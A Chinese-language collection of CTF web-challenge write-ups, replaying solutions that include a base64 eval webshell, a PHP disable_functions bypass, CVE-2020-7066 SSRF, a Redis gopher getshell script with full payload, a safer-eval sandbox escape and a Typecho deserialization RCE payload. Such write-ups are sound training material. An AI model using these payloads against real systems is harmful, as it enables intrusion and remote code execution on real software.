比赛的时候一道题也没做出来,现在看着大佬的wp做一波复现。
很明显的一道代码审计题。通过传入base64编码的Ginkgo参数即可执行eval函数。
用蚁剑连接
构造Ginkgo=QGV2YWwoJF9QT1NUWzFdKTs%3d (@eval($_POST[1]); 的base64编码)
发现根目录下存在 flag但是无法打开(权限不足)
同时发现了readflag文件,打开发现是一个程序,包含了cat /flag之类的内容猜测是通过执行该文件来进行读flag。
读phpinfo(); 发现相关的执行函数都被禁用。
注:1.可构造Ginkgo=cGhwaW5mbygpOw== 读取phpinfo()
2. 之前做题的没想到蚁剑,可以用 print_r(file_get_contents('../../../../readflag'));读取文件。print_r(scandir('../../../../')); 获取根目录列表。(需要再base64编码)
为了绕过disabled_function,我们可以上传一个绕过脚本。
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
其中pwn(‘’)里面的参数为需要执行的命令。
这里我们构造pwn('/readflag');即可。通过蚁剑上传至/tmp目录下。
接下来在页面上包含该脚本即可。构造:
获取flag
hint:cve-2020-7066
百度可以查到:
大意就是url中如果包含了0字符串(%00)就会发生字符串截断。
点击链接获得提示:http://17c1bc68-e344-4e63-bd36-458bb1d9f7c8.node3.buuoj.cn/?url=http://www.ctfhub.com
参数为url,抓包看看
构造url=http://127.0.0.1,有新提示
构造url=http://127.0.0.123 ,无flag回显,结果题目要求的You just view *.ctfhub.com和该题的提示cve
构造url=http://127.0.0.123%00*.ctfhub.com
成功获取flag
打开发现是个ShowXo的商城模板,百度到
后台目录:/admin.php
账号: admin
密码: shopxo
该系统可以上传shell,参考链接:http://www.nctry.com/1660.html
注:文章的php地址写错了,应该为/public/static/index/default/try.php
蚁剑连接,发现根目录下的flag是假的
发现flag.hint 可能有提示。
提示Root目录且和时间相关。
根目录下还有一个/auto.sh打开查看,是一个自动化的脚本,60s一个循环。
查看对应的脚本文件。
修改脚本代码
import os
import io
import time
f=io.open("/root/flag", "rb+")
t=f.read()
f.close()
f=io.open("/flag.hint", "rb+")
f.write(str(t))
f.close()
等待一小段时间,打开flag.hint,获取flag
flag{6d681393-07de-4db7-bf35-5a0a55e224d3}
buuctf 这题环境有点问题,以后有时间再做
虽然有问题,还是勉强做一下
分析:进入题目,只有一个输入框,尝试输出内容,但都没有回显,查看源码,发现居然有提示!
访问该页面,发现ifconfig的内容。
尝试访问了一下这个内网ip 173.100.33.10 ,发现回显了本页面,因此猜测可能是内网中有内容。
bp抓包爆破一下整个c段,发现11段有回显。
继续爆破端口。(范围1-65535)
发现6379端口存在回显。
经过搜索,6379是redis的端口,可能Redis SSRF getshell。
注:
利用代码,这里我稍微修改了一下,改成了python3的
import urllib
protocol="gopher://"
ip="173.97.195.11"
port="6379"
shell="\n\n\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)
payload:
gopher://173.97.195.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
辣鸡题目又抽风没回显了,这里先就复现到这里题目代码应该没问题。
后续:才发现这题目每一次生成c段ip会变,之前没注意,我人傻了,难怪没回显。大家复现的时候注意ip变化。
成功拿到flag
点开进去,发现了源码,
很明显,这玩意不太对劲,页面另一个版本按钮里面显示,这个的版本是1.3.6
经过百度,该版本下的safe-eval存在沙箱逃逸。
参考:https://github.com/commenthol/safer-eval/issues/10
payload:
(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()})()
不过在此之前有个问题,这里的delay参数有限制不能超过1000
此处可以利用int溢出的方法来进行绕过,利用科学计数法,构造delay=99999999999e999
注:就是我们传入的delay如果大小超过32位,会被settimeout
设为1.这样就满足条件了。
因此抓包构造(此处的参数e是题目给出的e)
成功拿到flag
flag{8d217711-960f-435e-8b57-37070b6833f7}
一进来发现是个typecho的安装系统,尝试安装但是提示不让安装,因此大胆猜测一下是不是这个本身就存在漏洞。
百度一下果然发现了,typecho在install.php存在反序列化漏洞。通过在cookie或者post数据中传入__typecho_config参数即实现命令执行。
参考链接https://www.freebuf.com/vuls/155753.html
__typecho_config参数生成poc:
_type = $this::RSS2;
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = $GLOBALS[CMD];
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
payload:
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxOToic3lzdGVtKCJjYXQgL2ZsYWciKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjE5OiJzeXN0ZW0oImNhdCAvZmxhZyIpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==
这道题存在2种解题方法:
要满足2个条件即可:
抓包构造
成功获取flag
要满足2个条件即可:
尝试执行,抓包构造如下包:
发现报错
因此是后台代码过滤了session的生成函数,看来我们还需要一个传入一个session
参考链接:https://www.jianshu.com/p/82a8b04da7b8